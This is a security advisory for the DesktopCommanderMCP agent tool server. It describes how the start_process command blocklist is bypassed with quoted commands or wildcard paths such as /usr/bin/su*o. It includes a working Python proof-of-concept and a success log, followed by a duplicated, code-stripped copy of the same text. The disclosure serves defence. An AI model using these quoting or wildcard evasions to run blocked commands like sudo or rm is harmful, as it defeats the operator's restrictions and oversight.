Advisory Details
Title: Command Injection via Blocklist Bypass using Quoting and Wildcards
Description:
Summary
An incomplete fix for command blocklist bypass allows attackers to evade validation via quotes or wildcard expansions. This allows users with access to the MCP server to execute arbitrarily blocked commands (such as sudo or rm) on the server.
Details
The start_process tool uses a user-configurable blockedCommands list to prevent execution of sensitive commands. While a previous patch attempted to fix absolute path bypasses, the extractBaseCommand and extractCommands functions in src/command-manager.ts fail to properly parse shell semantics.
The validation logic mistakenly treats quotes as part of the command token, meaning that checking \"rm\" against the blocked token rm succeeds. Additionally, passing wildcard expressions (e.g. /usr/bin/su*o) evades the basename matching since the string evaluated does not match the blocklist literal. Because the command is passed directly to the shell, it interprets the quotes or wildcard expansions and executes the underlying command, bypassing the security restrictions.
PoC
Prerequisites
- The target DesktopCommanderMCP server must be built and running.
- The
blockedCommands feature must be active and configured in ~/.claude-server-commander/config.json. The dummy command secret_malware is added for demonstration purposes.
Reproduction Steps
- Save the following code as
poc_exploit.py:
#!/usr/bin/env python3
import sys
import json
import subprocess
import time
import os
import shutil
# Setup paths and environment
config_dir = os.path.expanduser("~/.claude-server-commander")
config_path = os.path.join(config_dir, "config.json")
mcp_root = "/root/llm-project-ts/DesktopCommanderMCP"
blocked_cmd_name = "secret_malware"
blocked_cmd_path = f"/tmp/{blocked_cmd_name}"
proof_file = "/tmp/poc_bypassed_success"
def setup():
# Cleanup previous instances
if os.path.exists(proof_file):
os.remove(proof_file)
# Create the 'malware'
with open(blocked_cmd_path, "w") as f:
f.write("#!/bin/sh\n")
f.write(f"touch {proof_file}\n")
os.chmod(blocked_cmd_path, 0o755)
# Backup existing config
if os.path.exists(config_path):
shutil.copy(config_path, config_path + ".bak")
# Write a new config blocking 'secret_malware'
os.makedirs(config_dir, exist_ok=True)
with open(config_path, "w") as f:
json.dump({"blockedCommands": [blocked_cmd_name]}, f)
def teardown():
# Restore config
if os.path.exists(config_path + ".bak"):
shutil.move(config_path + ".bak", config_path)
if os.path.exists(blocked_cmd_path):
os.remove(blocked_cmd_path)
def send_request(proc, req_id, method, params):
req = {
"jsonrpc": "2.0",
"id": req_id,
"method": method,
"params": params
}
proc.stdin.write((json.dumps(req) + "\n").encode())
proc.stdin.flush()
def read_response(proc, req_id):
start_time = time.time()
while time.time() - start_time < 3:
line = proc.stdout.readline()
if not line:
return None
sys.stderr.write("DEBUG READ: " + line.decode())
try:
resp = json.loads(line.decode().strip())
if "id" in resp and resp["id"] == req_id:
return resp
except:
pass
return None
def test_exploit(command):
proc = subprocess.Popen(
["node", "dist/index.js", "--no-onboarding"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd=mcp_root
)
# Initialize MCP
send_request(proc, 1, "initialize", {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "poc", "version": "1.0"}
})
read_response(proc, 1)
proc.stdin.write((json.dumps({"jsonrpc": "2.0", "method": "notifications/initialized"}) + "\n").encode())
proc.stdin.flush()
time.sleep(1) # wait for server to flush deferred messages
# Send start_process
send_request(proc, 2, "tools/call", {
"name": "start_process",
"arguments": {
"command": command,
"timeout_ms": 5000
}
})
resp = read_response(proc, 2)
proc.stdin.close()
proc.terminate()
return resp
if __name__ == "__main__":
setup()
print("[*] Testing Bypass with Quotes (Exploit Execution)")
resp = test_exploit(f'"{blocked_cmd_path}"')
print("[*] Results")
time.sleep(1) # give execution time
if os.path.exists(proof_file):
print(" [SUCCESS] Exploit bypassed the blocklist and executed!")
print(" Proof file created at:", proof_file)
else:
print(" [FAILED] Exploit was blocked or failed to execute.")
print("Response:", resp)
teardown()
- Run
npm run build in DesktopCommanderMCP if needed.
- Run
python3 poc_exploit.py.
Log of Evidence
[*] Testing Bypass with Quotes (Exploit Execution)
DEBUG READ: Content-Length: 172
DEBUG READ:
DEBUG READ: {"protocolVersion":"2024-11-05","capabilities":{"logging":{},"prompts":{"listChanged":true},"resources":{"subscribe":true,"listChanged":true},"tools":{"listChanged":true}},"serverInfo":{"name":"DesktopCommander","version":"1.0.0"}}
DEBUG READ: Content-Length: 147
DEBUG READ:
DEBUG READ: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"Started process 570889"}],"isError":false}}
[*] Results
[SUCCESS] Exploit bypassed the blocklist and executed!
Proof file created at: /tmp/poc_bypassed_success
Impact
This vulnerability completely bypasses the configured protections enabling attackers to invoke restricted commands.
Affected products
- Ecosystem: npm
- Package name: DesktopCommanderMCP
- Affected versions: <= 0.2.38
- Patched versions:
Severity
- Severity: Critical
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
- CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Occurrences
| Permalink |
Description |
src/command-manager.ts |
The validation logic traversing the syntax tree to enforce the blockedCommands list lacks contextual shell string expansion simulation allowing quote and wildcard evasions. |
Advisory Details
Title: Command Injection via Blocklist Bypass using Quoting and Wildcards
Description:
Summary
An incomplete fix for command blocklist bypass allows attackers to evade validation via quotes or wildcard expansions. This allows users with access to the MCP server to execute arbitrarily blocked commands (such as
sudoorrm) on the server.Details
The
start_processtool uses a user-configurableblockedCommandslist to prevent execution of sensitive commands. While a previous patch attempted to fix absolute path bypasses, theextractBaseCommandandextractCommandsfunctions insrc/command-manager.tsfail to properly parse shell semantics.The validation logic mistakenly treats quotes as part of the command token, meaning that checking
\"rm\"against the blocked tokenrmsucceeds. Additionally, passing wildcard expressions (e.g./usr/bin/su*o) evades the basename matching since the string evaluated does not match the blocklist literal. Because the command is passed directly to the shell, it interprets the quotes or wildcard expansions and executes the underlying command, bypassing the security restrictions.PoC
Prerequisites
blockedCommandsfeature must be active and configured in~/.claude-server-commander/config.json. The dummy commandsecret_malwareis added for demonstration purposes.Reproduction Steps
poc_exploit.py:npm run buildin DesktopCommanderMCP if needed.python3 poc_exploit.py.Log of Evidence
Impact
This vulnerability completely bypasses the configured protections enabling attackers to invoke restricted commands.
Affected products
Severity
Weaknesses
Occurrences
src/command-manager.tsblockedCommandslist lacks contextual shell string expansion simulation allowing quote and wildcard evasions.